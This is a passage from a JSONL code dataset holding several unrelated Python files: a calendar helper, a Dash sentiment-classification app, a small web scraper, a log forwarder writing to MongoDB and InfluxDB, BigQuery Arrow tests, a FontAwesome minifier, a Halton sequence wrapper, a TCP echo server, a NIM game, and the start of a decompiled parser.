extends into\n # six weeks, or starts on a Sunday and extends into five weeks, will contain five Sundays.\n if len(calendar_month) == 6 or (len(calendar_month) == 5 and calendar_month[0][0] == 1):\n five_sunday_months.append(calendar.month_abbr[month])\n\n return five_sunday_months\n\nprint (find_five_sunday_months(2018))","sub_path":"sunday.py","file_name":"sunday.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"580216441","text":"import pickle\r\nimport pandas as pd\r\nimport webbrowser\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport dash_bootstrap_components as dbc\r\nfrom dash.dependencies import Input, Output, State\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nimport plotly.express as px\r\nimport numpy as np\r\n\r\ndata = pd.read_csv(r\"PredictedValuesTFIDF.csv\")\r\n\r\n\r\n\r\nlabels = [\"Positive\",\"Negative\"]\r\n\r\nscrape = pd.read_csv(r\"ScrapedReviewsAll.csv\")\r\nscrape.head()\r\n \r\ngraph = px.pie(data_frame=data,values=[data['0'].value_counts()[1],data['0'].value_counts()[0]],\r\n names=['Positive Reviews','Negative Reviews'],\r\n color=['Positive Reviews','Negative Reviews'],\r\n color_discrete_sequence=['purple','red'],width=500,height=380,hole=0.5, ) \r\n \r\n \r\napp = dash.Dash()\r\napp = dash.Dash(external_stylesheets=[dbc.themes.BOOTSTRAP])\r\n\r\n\r\nproject_name = \"Review Text Classification\"\r\n\r\ndef open_browser():\r\n webbrowser.open_new(\"http://127.0.0.1:8050/\")\r\n\r\ndef load_model():\r\n global pickle_model\r\n global vocab\r\n global scrappedReviews\r\n \r\n \r\n scrappedReviews = pd.read_csv('ScrapedReviewsAll.csv')\r\n \r\n file = open(\"pickle_model.pkl\", 'rb') \r\n pickle_model = pickle.load(file)\r\n\r\n file = open(\"feature.pkl\", 'rb') \r\n vocab = pickle.load(file)\r\n \r\ndef check_review(reviewText):\r\n transformer = TfidfTransformer()\r\n loaded_vec = CountVectorizer(decode_error=\"replace\",vocabulary=vocab)\r\n reviewText = transformer.fit_transform(loaded_vec.fit_transform([reviewText]))\r\n return pickle_model.predict(reviewText)\r\n\r\ndef create_app_ui():\r\n global project_name\r\n main_layout = dbc.Container(\r\n dbc.Jumbotron(\r\n [\r\n \r\n html.H1(id = 'heading', children = project_name, className = 'display-6 mb-4',style={'padding':5,'backgroundColor':'#69e7e1'}),\r\n html.Div([html.H1('Word Cloud'),\r\n \r\n dbc.Button(\"Positve Words\",id=\"posbt\",outline=True, color=\"success\", className=\"mr-1\", n_clicks_timestamp=0, style={'padding':'15px','padding-right':'15px','padding-left':'15px'}),\r\n \r\n dbc.Button(\"Negative Words\", id=\"negbt\", outline=True,color=\"danger\",className=\"mr-1\",n_clicks_timestamp=0,style={'padding':'10px','padding-right':'15px','padding-left':'15px'}), \r\n \r\n \r\n html.Div(id='wordc',style={'padding':'15px'})\r\n \r\n ], style={'textAlign': 'Center'}),\r\n html.Div([html.H1(children='Distribution of Positive and Negative Reviews', id='pieh1',style={'padding':5,'backgroundColor':'#69e7e1'})]),\r\n #dcc.Graph(figure = graph, style={'width': '600','height':400,},className = 'd-flex justify-content-center'),\r\n dcc.Graph(figure = graph,id='pie',className = 'd-flex justify-content-center'),\r\n html.Br(),html.Hr(),html.Br(),\r\n html.Div([html.H1(children='Please enter your reviews for the product', id='dropdown_h1',style={'padding':5})],style={'backgroundColor':'#69e7e1','height': 60}),\r\n html.Br(),html.Br(),\r\n dbc.Textarea(id = 'textarea', className=\"mb-3\", placeholder=\"Enter the Review\", value = '', style = {'height': '150px'}),\r\n html.Div([html.H1(children='Select an existing review', id='dropdown_h2',style={'padding':5})],style={'backgroundColor':'#d6758d','height': 60}),\r\n html.Br(),html.Br(),\r\n dbc.Container([\r\n dcc.Dropdown(\r\n id='dropdown',\r\n placeholder = 'Select a Review',\r\n options=[{'label': i[:100] + \"...\", 'value': i} for i in scrappedReviews.reviews],\r\n value = scrappedReviews.reviews[0],\r\n style = {'margin-bottom': '30px'}\r\n \r\n )\r\n ],\r\n style = {'padding-left': '50px', 'padding-right': '50px','backgroundColor':'#af969c'}\r\n ),\r\n dbc.Button(\"Submit\", color=\"dark\", className=\"mt-2 mb-3\", id = 'button', style = {'width': '100px'}),\r\n html.Div(id = 'result'),\r\n html.Div(id = 'result1')\r\n ],\r\n \r\n className = 'text-center'\r\n ),\r\n className = 'mt-4'\r\n )\r\n \r\n return main_layout\r\n\r\n@app.callback(\r\n Output('wordc','children'),\r\n [\r\n Input('posbt','n_clicks_timestamp'),\r\n Input('negbt','n_clicks_timestamp'),\r\n ]\r\n)\r\ndef wordcloudbutton(posbt,negbt):\r\n\r\n if int(negbt) > int(posbt):\r\n return html.Div([\r\n html.Img(src=app.get_asset_url('negcloud.png'))])\r\n elif int(posbt) > int(negbt):\r\n return html.Div([\r\n html.Img(src=app.get_asset_url('poscloud.png'))\r\n ])\r\n \r\n else:\r\n pass\r\n@app.callback(\r\n Output('result', 'children'),\r\n [\r\n Input('button', 'n_clicks')\r\n ],\r\n [\r\n State('textarea', 'value')\r\n ]\r\n ) \r\ndef update_app_ui(n_clicks, textarea):\r\n result_list = check_review(textarea)\r\n \r\n if (result_list[0] == 0 ):\r\n return dbc.Alert(\"Negative!!!\", color=\"danger\")\r\n elif (result_list[0] == 1 ):\r\n return dbc.Alert(\"Positive!!!\", color=\"success\")\r\n else:\r\n return dbc.Alert(\"Unknown\", color=\"dark\")\r\n\r\n@app.callback(\r\n Output('result1', 'children'),\r\n [\r\n Input('button', 'n_clicks')\r\n ],\r\n [\r\n State('dropdown', 'value')\r\n ]\r\n )\r\ndef update_dropdown(n_clicks, value):\r\n result_list = check_review(value)\r\n \r\n if (result_list[0] == 0 ):\r\n return dbc.Alert(\"Negative!!!\", color=\"danger\")\r\n elif (result_list[0] == 1 ):\r\n return dbc.Alert(\"Positive!!!\", color=\"success\")\r\n else:\r\n return dbc.Alert(\"Unknown\", color=\"dark\")\r\n \r\ndef main():\r\n global app\r\n global project_name\r\n load_model()\r\n open_browser()\r\n app.layout = create_app_ui()\r\n app.title = project_name\r\n app.run_server()\r\n app = None\r\n project_name = None\r\nif __name__ == '__main__':\r\n main()","sub_path":"app UI.py","file_name":"app UI.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"643804195","text":"import re\nimport requests\nfrom requests.exceptions import RequestException\n\ndef get_one_page(url):\n try:\n header = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3528.4 Safari/537.36\"}\n respond = requests.get(url,headers=header)\n if respond.status_code == 200:\n return respond\n return None\n except RequestException:\n return None\n\ndef parse_one_page(html):\n #print(html)\n pattern = re.compile(r'\"(.*?)\"')\n ls=re.findall(pattern,r'\"这个杀手不太冷\"')\n ls=re.search(pattern,r'\"这个杀手不太冷\"')\n\n print(ls.group(0))\n\nurl = 'http://maoyan.com/board/4?offset=0'\nparse_one_page(get_one_page(url).text)\n\n","sub_path":"requestandre.py","file_name":"requestandre.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"341499276","text":"import json\nimport time\nimport Queue\nfrom threading import Thread\n\nimport pymongo\nfrom pymongo import MongoClient\nfrom influxdb import InfluxDBClient\nfrom influxdb.client import InfluxDBClientError\nfrom influxdb.client import InfluxDBServerError\nfrom nsq.reader import Reader\nfrom basescript import BaseScript\n\nclass LogForwarder(BaseScript):\n DESC = \"Gets all the logs from nsq and stores in the storage engines\"\n\n MAX_IN_FLIGHT = 200 # Number of messages to read from NSQ per shot\n QUEUE_MAX_SIZE = 5000\n SERVER_SELECTION_TIMEOUT = 500 # MongoDB server selection timeout\n\n SLEEP_TIME = 1\n QUEUE_TIMEOUT = 1\n MAX_SECONDS_TO_PUSH = 1\n MAX_MESSAGES_TO_PUSH = 200\n\n API = 'api'\n METRIC = 'metric'\n NGINX_METRIC = 'nginx_metric'\n DJANGO_METRIC = 'django_metric'\n NGINX_HANDLER = 'logagg.collect.handlers.nginx_access'\n DJANGO_HANDLER = 'logagg.collect.handlers.django'\n\n INFLUXDB_RECORDS = []\n\n def __init__(self, log, args, nsqtopic, nsqchannel, nsqd_tcp_address, mongodb_server_url,\\\n mongodb_port, mongodb_user_name, mongodb_password, mongodb_database, mongodb_collection,\\\n influxdb_server_url, influxdb_port, influxdb_user_name, influxdb_password, influxdb_database):\n\n self.log = log\n self.args = args\n self.nsqtopic = nsqtopic\n self.nsqchannel = nsqchannel\n self.nsqd_tcp_address = nsqd_tcp_address\n self.mongodb_server_url = mongodb_server_url\n self.mongodb_port = mongodb_port\n self.mongodb_user_name = mongodb_user_name\n self.mongodb_password = mongodb_password\n self.mongodb_database = mongodb_database\n self.mongodb_collection = mongodb_collection\n\n self.influxdb_server_url = influxdb_server_url\n self.influxdb_port = influxdb_port\n self.influxdb_user_name = influxdb_user_name\n self.influxdb_password = influxdb_password\n self.influxdb_database = influxdb_database\n\n def start(self):\n\n # Establish connection to MongoDB to store the nsq messages\n url = 'mongodb://%s:%s@%s:%s' % (self.mongodb_user_name, self.mongodb_password,\n self.mongodb_server_url, self.mongodb_port)\n client = MongoClient(url, serverSelectionTimeoutMS=self.SERVER_SELECTION_TIMEOUT)\n self.log.info('Established connecton to MongoDB server: %s' % (self.mongodb_server_url))\n self.mongo_database = client[self.mongodb_database]\n self.log.info('Created database: %s at MongoDB' % (self.mongo_database))\n self.mongo_coll = self.mongo_database[self.mongodb_collection]\n self.log.info('Created collection: %s for MongoDB database %s' % (self.mongo_coll, self.mongo_database))\n\n # Establish connection to influxdb to store metrics\n self.influxdb_client = InfluxDBClient(self.influxdb_server_url, self.influxdb_port, self.influxdb_user_name,\n self.influxdb_password, self.influxdb_database)\n self.log.info('Established connection to InfluxDB server: %s' % (self.influxdb_server_url))\n self.influxdb_database = self.influxdb_client.create_database(self.influxdb_database)\n self.log.info('Created database: %s at InfluxDB' % (self.influxdb_database))\n\n # Initialize a queue to carry messages between the\n # producer (nsq_reader) and the consumer (read_from_q)\n self.msgqueue = Queue.Queue(maxsize=self.QUEUE_MAX_SIZE)\n self.log.info('Created Queue object with max size of %d' % (self.QUEUE_MAX_SIZE))\n\n # Starts the thread which we get the messages from queue\n th = self.consumer_thread = Thread(target=self.read_from_q)\n th.daemon = True\n th.start()\n\n # Establish connection to nsq from where we get the logs\n # Since, it is a blocking call we are starting the reader here.\n self.log.info('Starting nsq reader')\n self.reader = Reader(self.args.nsqtopic, self.args.nsqchannel, nsqd_tcp_addresses=[self.args.nsqd_tcp_address])\n self.handle_msg(self.reader)\n\n th.join()\n\n def handle_msg(self, msg_reader):\n for msg in msg_reader:\n self.msgqueue.put(msg)\n\n def read_from_q(self):\n msgs = []\n last_push_ts = time.time()\n\n while True:\n try:\n msg = self.msgqueue.get(block=True, timeout=self.QUEUE_TIMEOUT)\n msgs.append(msg)\n\n except Queue.Empty:\n time.sleep(self.SLEEP_TIME)\n continue\n\n cur_ts = time.time()\n time_since_last_push = cur_ts - last_push_ts\n\n is_msg_limit_reached = len(msgs) >= self.MAX_MESSAGES_TO_PUSH\n is_max_time_elapsed = time_since_last_push >= self.MAX_SECONDS_TO_PUSH\n\n should_push = len(msgs) > 0 and (is_max_time_elapsed or is_msg_limit_reached)\n\n try:\n if should_push:\n self.log.info('Writing %d messages to databases' % (len(msgs)))\n self._write_messages(msgs)\n self._ack_messages(msgs)\n self.log.info('Ack to nsq is done for %d msgs' % (len(msgs)))\n\n msgs = []\n last_push_ts = time.time()\n\n except (SystemExit, KeyboardInterrupt): raise\n except pymongo.errors.ServerSelectionTimeoutError:\n self.log.exception('Push to databases and ack to nsq failed')\n\n def parse_msg_to_send_influxdb(self, msgs_list):\n series = []\n for msg in msgs_list:\n\n if msg.get('error'):\n continue\n\n time = msg.get('timestamp')\n if msg.get('type') == self.METRIC:\n event = msg.get('data').get('event')\n metric = event.get('req_fn')\n\n pointValues = {\n \"time\": time,\n \"measurement\": metric,\n \"fields\": event,\n \"tags\": event\n }\n series.append(pointValues)\n\n elif msg.get('handler') == self.NGINX_HANDLER:\n nginx_metric = self.parse_nginx_metric(msg)\n series.append(nginx_metric)\n\n elif msg.get('handler') == self.DJANGO_HANDLER:\n django_metric = self.parse_django_metric(msg)\n series.append(django_metric)\n\n return series\n\n def parse_django_metric(self, msg):\n data = msg.get('data')\n time = msg.get('timestamp')\n loglevel = msg.get('data').get('loglevel')\n host = msg.get('host')\n\n if isinstance(data, dict) and isinstance(data.get('message'), dict):\n event = data.get('message')\n if 'processing_time' in event:\n url = event.get('url')\n user = event.get('user')\n event['loglevel'] = loglevel\n pointValues = {\n \"time\": time,\n \"measurement\": self.DJANGO_METRIC,\n \"fields\": event,\n \"tags\": {\n \"host\": host,\n \"url\": url,\n \"user\": user,\n \"loglevel\": loglevel\n }\n }\n return pointValues\n\n elif isinstance(data, dict):\n pointValues = {\n \"time\": time,\n \"measurement\": self.DJANGO_METRIC,\n \"fields\": data,\n \"tags\": {\n \"host\": host,\n \"loglevel\": loglevel\n }\n }\n return pointValues\n\n def parse_nginx_metric(self, msg):\n time = msg.get('timestamp')\n event = msg.get('data', {})\n request = event.get('request', '')\n measurement = self.NGINX_METRIC\n host = msg.get('host', '')\n pointValues = {\n \"time\": time,\n \"measurement\": measurement,\n \"fields\": event,\n \"tags\": {\n \"host\": host,\n \"request\": request\n }\n }\n return pointValues\n\n def _ack_messages(self, msgs):\n for msg in msgs:\n try:\n msg.fin()\n except (SystemExit, KeyboardInterrupt): raise\n except:\n self.log.exception('msg ack failed')\n\n def _write_messages(self, msgs):\n msgs_list = []\n #TODO: We need to do this by using iteration object.\n for msg in msgs:\n msg_body = json.loads(msg.body.decode(encoding='utf-8',errors='strict'))\n msg_body['_id'] = msg_body.pop('id')\n msgs_list.append(msg_body)\n\n try:\n self.log.info('inserting %d msgs into mongodb' % (len(msgs)))\n self.mongo_coll.insert_many([msg for msg in msgs_list], ordered=False)\n self.log.info(\"inserted %d msgs into mongodb\" % (len(msgs)))\n except pymongo.errors.BulkWriteError as bwe:\n self.log.exception('Write to mongo failed. Details: %s' % bwe.details)\n\n self.log.info('Parsing of metrics started')\n records = self.parse_msg_to_send_influxdb(msgs_list)\n self.INFLUXDB_RECORDS.extend(records)\n self.log.info('Parsing of metrics is completed')\n\n if self.INFLUXDB_RECORDS and len(self.INFLUXDB_RECORDS) >= 200:\n self.INFLUXDB_RECORDS = [record for record in self.INFLUXDB_RECORDS if record]\n try:\n self.log.info('inserting the %d metrics into influxdb' % (len(self.INFLUXDB_RECORDS)))\n self.influxdb_client.write_points(self.INFLUXDB_RECORDS)\n self.log.info(\"inserted the metrics into influxdb %d\" % (len(self.INFLUXDB_RECORDS)))\n self.INFLUXDB_RECORDS = []\n except (InfluxDBClientError, InfluxDBServerError) as e:\n self.log.exception(\"failed to insert metric %s\" % (self.INFLUXDB_RECORDS))\n","sub_path":"logagg/forward/forwarder.py","file_name":"forwarder.py","file_ext":"py","file_size_in_byte":9927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"84818073","text":"# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"System tests for Arrow connector.\"\"\"\n\nimport pytest\n\npyarrow = pytest.importorskip(\n \"pyarrow\", minversion=\"3.0.0\"\n) # Needs decimal256 for BIGNUMERIC columns.\n\n\n@pytest.mark.parametrize(\n (\"max_results\", \"scalars_table_name\"),\n (\n (None, \"scalars_table\"), # Use BQ Storage API.\n (10, \"scalars_table\"), # Use REST API.\n (None, \"scalars_extreme_table\"), # Use BQ Storage API.\n (10, \"scalars_extreme_table\"), # Use REST API.\n ),\n)\ndef test_list_rows_nullable_scalars_dtypes(\n bigquery_client,\n scalars_table,\n scalars_extreme_table,\n max_results,\n scalars_table_name,\n):\n table_id = scalars_table\n if scalars_table_name == \"scalars_extreme_table\":\n table_id = scalars_extreme_table\n arrow_table = bigquery_client.list_rows(\n table_id, max_results=max_results,\n ).to_arrow()\n\n schema = arrow_table.schema\n bignumeric_type = schema.field(\"bignumeric_col\").type\n # 77th digit is partial.\n # https://cloud.google.com/bigquery/docs/reference/standard-sql/data-types#decimal_types\n assert bignumeric_type.precision in {76, 77}\n assert bignumeric_type.scale == 38\n\n bool_type = schema.field(\"bool_col\").type\n assert bool_type.equals(pyarrow.bool_())\n\n bytes_type = schema.field(\"bytes_col\").type\n assert bytes_type.equals(pyarrow.binary())\n\n date_type = schema.field(\"date_col\").type\n assert date_type.equals(pyarrow.date32())\n\n datetime_type = schema.field(\"datetime_col\").type\n assert datetime_type.unit == \"us\"\n assert datetime_type.tz is None\n\n float64_type = schema.field(\"float64_col\").type\n assert float64_type.equals(pyarrow.float64())\n\n geography_type = schema.field(\"geography_col\").type\n assert geography_type.equals(pyarrow.string())\n\n int64_type = schema.field(\"int64_col\").type\n assert int64_type.equals(pyarrow.int64())\n\n numeric_type = schema.field(\"numeric_col\").type\n assert numeric_type.precision == 38\n assert numeric_type.scale == 9\n\n string_type = schema.field(\"string_col\").type\n assert string_type.equals(pyarrow.string())\n\n time_type = schema.field(\"time_col\").type\n assert time_type.equals(pyarrow.time64(\"us\"))\n\n timestamp_type = schema.field(\"timestamp_col\").type\n assert timestamp_type.unit == \"us\"\n assert timestamp_type.tz is not None\n","sub_path":"tests/system/test_arrow.py","file_name":"test_arrow.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"244831904","text":"\"\"\"FontAwesome minify utilit.\"\"\"\n\nimport argparse\nimport os.path\nimport re\nimport json\n\nimport glob2\n\n\nclass FAHandler:\n \"\"\"Handle FontAwesome file for getting icons.\"\"\"\n\n patern = re.compile(r\"((?<=var f = )|(?<=var f=))\\{(.+?)\\};\", re.S)\n\n def __init__(self, file, html_icons):\n \"\"\"Initialize handler.\"\"\"\n self.file = file\n self.minify_file = file[:-3] + '.min.js'\n self.data = ''\n self.handled_data = ''\n self.html_icons = html_icons\n self.icons = set()\n\n def get_size(self):\n \"\"\"Return size of FontAwesome file.\"\"\"\n return len(self.data)\n\n def get_minified_size(self):\n \"\"\"Return size of FontAwesome minified file.\"\"\"\n return len(self.handled_data)\n\n def _get_data(self):\n \"\"\"Read file.\"\"\"\n with open(self.file) as file_reader:\n self.data = file_reader.read()\n\n def _handle_icon_text(self, string):\n \"\"\"Return string with only used icons.\"\"\"\n string = re.sub(r'(\\b[^\\\"]+):', r'\"\\1\":', string)[:-1]\n # print(string)\n json_data = json.loads(string)\n json_data = {\n key: json_data[key] for key in json_data\n if key in self.html_icons\n }\n string = json.dumps(json_data)\n return string + ';'\n\n def _parse(self):\n \"\"\"Find icons and remove unused icons.\"\"\"\n self.handled_data = self.data\n start = -1\n while True:\n search_result = self.patern.search(self.handled_data[start+1:])\n if search_result is None:\n break\n end = search_result.end() + start + 1\n start = search_result.start() + start + 1\n icon_text = self._handle_icon_text(self.handled_data[start:end])\n self.handled_data = (\n self.handled_data[:start] + icon_text + self.handled_data[end:]\n )\n\n def _write_result(self):\n \"\"\"Write minify file.\"\"\"\n with open(self.minify_file, 'w') as file_writer:\n file_writer.write(self.handled_data)\n\n def just_do_it(self):\n \"\"\"Make minify file.\"\"\"\n self._get_data()\n self._parse()\n self._write_result()\n\n\nclass HTMLHandler:\n \"\"\"Handle html files for getting icons.\"\"\"\n\n patern = re.compile(\n r\".+?)(?: +.+?)*\" +\n r\"\\\".*?><\\/i>\"\n )\n\n def __init__(self, pathes):\n \"\"\"Initialize handler.\"\"\"\n self.pathes = pathes\n self.html_files = []\n self.html = \"\"\n self.icons = set()\n\n def _glue_together(self):\n \"\"\"Glue html files together.\"\"\"\n for file in self.html_files:\n with open(file) as file_reader:\n self.html += '\\n' + file_reader.read()\n\n def _get_html_files(self):\n \"\"\"Get html files from pathes.\"\"\"\n for directory in self.pathes:\n if directory[-1] == '\\\\' or directory[-1] == '/':\n directory = directory[:-1]\n files = glob2.glob(directory + '/**/*.html', recursive=True)\n self.html_files.extend(files)\n\n def _get_icons(self):\n \"\"\"Get FontAwesome icons from html files.\"\"\"\n self.icons = set(self.patern.findall(self.html))\n\n def get_result(self):\n \"\"\"Return list of using icons.\"\"\"\n self._get_html_files()\n self._glue_together()\n self._get_icons()\n return self.icons\n\n\ndef get_undirectories(pathes):\n \"\"\"Return undirectories.\"\"\"\n def is_undirectory(path):\n \"\"\"Return False if path is a directory, else return True.\"\"\"\n return not os.path.isdir(path)\n\n return list(filter(is_undirectory, pathes))\n\n\ndef main():\n \"\"\"Handle request.\"\"\"\n parser = argparse.ArgumentParser(\n description='FontAwesome minify utilit. It works for FontAwesome 5.1 with \\\n python3.5 or older.'\n )\n parser.add_argument('-t', nargs='+', help='Directories of the templates')\n parser.add_argument('-f', help='Path to FontAwesome.js')\n args = parser.parse_args()\n if args.f and args.t:\n correct = True\n if get_undirectories(args.t):\n print('-t contains undirectories.')\n correct = False\n if not os.path.isfile(args.f) and not args.f.endswith('.js'):\n print('-f does not contain js file')\n correct = False\n if correct:\n html_handler = HTMLHandler(args.t)\n icons_from_html = html_handler.get_result()\n print('HTML files are handled.')\n fa_handler = FAHandler(args.f, icons_from_html)\n fa_handler.just_do_it()\n print('FontAwesome file is handled.')\n print('File {} is created.'.format(fa_handler.minify_file))\n print('The file size is reduced by {:.2f} KB.'.format(\n (fa_handler.get_size() - fa_handler.get_minified_size())/1024\n ))\n else:\n parser.print_help()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"minify.py","file_name":"minify.py","file_ext":"py","file_size_in_byte":5200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175612122","text":"from ..c_lib import c_lib\nimport ctypes\nfrom numpy import *\nfrom ...util import ParameterError, ParameterWarning\nimport warnings\n\n\nclass HaltonQRNG(object):\n \"\"\"\n References:\n\n [1] Marius Hofert and Christiane Lemieux (2019). \n qrng: (Randomized) Quasi-Random Number Generators. \n R package version 0.0-7.\n https://CRAN.R-project.org/package=qrng.\n \"\"\"\n def __init__(self, dimension, generalize, randomize, seed):\n self.halton_qrng_cf = c_lib.halton_qrng\n self.halton_qrng_cf.argtypes = [\n ctypes.c_int, # n\n ctypes.c_int, # d\n ctypes.c_int, # generalized\n ctypeslib.ndpointer(ctypes.c_double, flags='C_CONTIGUOUS'), # res\n ctypes.c_long] # seed\n self.halton_qrng_cf.restype = None\n self.g = generalize\n self.r = randomize\n if self.r==False:\n raise ParameterError('QRNG Halton must be randomized. Use Owen backend for non-randomized Halton.', ParameterWarning)\n self.d_lim = 360\n self.n_lim = 2**32\n self.set_dimension(dimension)\n self.set_seed(seed)\n\n def gen_samples(self, n_min=0, n_max=8, warn=True):\n if n_min > 0:\n raise ParameterError('QRNG Halton does not support skipping samples. Use Owen backend to set n_min > 0.')\n if n_max > self.n_lim:\n raise ParameterWarning(\"QRNG Halton requres n_max <= 2^32.\")\n n = int(n_max-n_min)\n x = zeros((self.d, n), dtype=double)\n self.halton_qrng_cf(n, self.d, self.g, x, self.s)\n return x.T\n \n def set_seed(self, seed):\n self.s = seed if seed else random.randint(2**32)\n return self.s\n \n def set_dimension(self, dimension):\n self.d = dimension\n if self.d > self.d_lim:\n raise ParameterError('QRNG Halton requires dimension <= %d'%self.d_lim)\n return self.d\n \n def get_params(self):\n return self.d, self.g, self.r, self.s\n ","sub_path":"qmcpy/discrete_distribution/halton/halton_qrng.py","file_name":"halton_qrng.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"242006638","text":"# coding=utf-8\r\n\"\"\"\r\n tcp套接字服务端\r\n 重点代码\r\n\"\"\"\r\n\r\n\r\nimport socket\r\n\r\n# 创建流式套接字\r\nsockfd = socket.socket(socket.AF_INET,\r\n socket.SOCK_STREAM)\r\n\r\n# 绑定地址\r\nsockfd.bind(('0.0.0.0', 8888))\r\n\r\n# 设置监听\r\nsockfd.listen(5)\r\nwhile True:\r\n\tprint(\"Waiting for connect...\")\r\n\ttry:\r\n\t\tconnfd, addr = sockfd.accept()\r\n\t\tprint(\"connect from:\", addr)\r\n\texcept KeyboardInterrupt:\r\n\t\tprint(\"退出服务\")\r\n\t\tbreak\r\n\r\n\t# 收发消息\r\n\twhile True:\r\n\t\tdata = connfd.recv(1024)\r\n\t\tif not data:\r\n\t\t\tbreak\r\n\t\tprint(\"收到的消息\", data.decode())\r\n\t\tn = connfd.send(b'Receive your message')\r\n\t\tprint(\"发送了 %d 个字节数据\" % n)\r\n\r\n\t# 关闭套接字\r\n\tconnfd.close()\r\nsockfd.close()\r\n","sub_path":"files/tcp_server.py","file_name":"tcp_server.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"448426158","text":"tipo_jogo = 0\r\nglobal partida\r\nglobal campeonato\r\n\r\nwhile tipo_jogo==0:\r\n \r\n print(\"\")\r\n print(\"Bem vindo ao NIM! Escolha dua opção: \")\r\n print (\" \")\r\n print(\"1 - Para uma partida isolada\")\r\n print(\"2 - Para jogar campeonato\")\r\n \r\n tipo_jogo = int(input(\"Sua opção: \"))\r\n print (\" \")\r\n \r\n if tipo_jogo == 1:\r\n print(\"Você escolheu a partida isolada!\")\r\n partida()\r\n break\r\n \r\n elif tipo_jogo == 2:\r\n print(\"Você escolheu um campeonato!\")\r\n campeonato()\r\n break\r\n\r\n else:\r\n print(\"Opção Inválida\")\r\n tipo_jogo=0\r\n \r\ndef partida():\r\n \r\n print(\"\")\r\n \r\n n = int(input(\"Quantas peças: \"))\r\n m = int(input(\"Limite de peças por jogada: \"))\r\n \r\n is_computer_turn = True\r\n \r\n if n%(m+1) ==0: is_computer_turn = False\r\n \r\n while n>0:\r\n if is_computer_turn:\r\n jogada = computador_escolhe_jogada(n, m)\r\n is_computer_turn = False\r\n print (\"Computador retirou {} peças. \".format(jogada))\r\n else:\r\n jogada = usuario_escolhe_jogada(n, m)\r\n is_computer_turn = True\r\n print(\"Você retirou {} peças.\".format(jogada))\r\n \r\n n = n-jogada\r\n print(\"Restam apenas{} peças em jogo.\\n \".format(n))\r\n \r\n if is_computer_turn:\r\n print(\"Você ganhou!\")\r\n return 1\r\n else:\r\n print(\"O computador ganhou!\")\r\n return 0\r\n\r\ndef usuario_escolhe_jogada (n, m):\r\n global partida\r\n global campeonato\r\n \r\n print(\"sua vez! \\n\")\r\n \r\n jogada = 0\r\n \r\n while jogada == 0:\r\n jogada = int(input(\"Quabtas peças irá tirar: \"))\r\n if jogada > n or jogada < 1 or jogada > m:\r\n jogada = 0\r\n return jogada\r\n\r\ndef computador_escolhe_jogada (n, m):\r\n global partida\r\n global campeonato\r\n \r\n print(\"Vez do computador\")\r\n quantia = n% (m+1)\r\n if quantia > 0:\r\n return quantia\r\n return m\r\n \r\ndef campeonato():\r\n global partida\r\n global campeonato\r\n\r\n usuario = 0\r\n computador = 0\r\n \r\n for _ in range(3):\r\n vencedor = partida()\r\n if vencedor == 1:\r\n usuario = usuario+1\r\n else:\r\n computador = computador +1\r\n print(\"Placar final: você {} x {} Computador\". format(usuario, computador))\r\n \r\n\r\n \r\n \r\n ","sub_path":"NIM.py","file_name":"NIM.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"332434960","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /opt/griflet/venv/lib/python3.4/site-packages/pyrev/parser.py\n# Compiled at: 2017-02-20 23:06:33\n# Size of source mod 2**32: 54287 bytes\nimport os, re, string\nfrom logging import getLogger, NullHandler\nfrom logging import CRITICAL, ERROR, WARNING, INFO, DEBUG\nfrom functools import reduce\nlocal_logger = getLogger(__name__)\nlocal_logger.addHandler(NullHandler())\nr_chap = re.compile('^(?P={1,5})(?P[column]?)(?P\\\\s*)(?P.*)$')\nr_end_block = re.compile('^//}(?P<junk>.*)$')\nr_begin_block = re.compile('^(?P<prefix>//)(?P<content>.+)$')\nr_manual_warn = re.compile('^#@(?P<type>.+)\\\\((?P<message>.+)\\\\)$')\n\nclass ParseProblem(Exception):\n\n def __init__(self, source_name, line_num, desc, raw_content):\n \"\"\"\n source_name:\n line_num: can be None\n desc:\n raw_content: can be None, list, etc.\n \"\"\"\n self.source_name = source_name\n self.line_num = line_num\n self.desc = desc\n self.raw_content = raw_content\n\n def __str__(self):\n if self.line_num:\n line = 'L{}'.format(self.line_num)\n else:\n line = 'L?'\n if self.raw_content:\n if type(self.raw_content) in [str, str]:\n content = '\"{}\"'.format(self.raw_content.rstrip())\n elif type(self.raw_content) == list:\n lst = []\n for rc_part in self.raw_content:\n lst.append(rc_part.rstrip())\n\n content = '\\n' + '\\n'.join(lst)\n else:\n content = 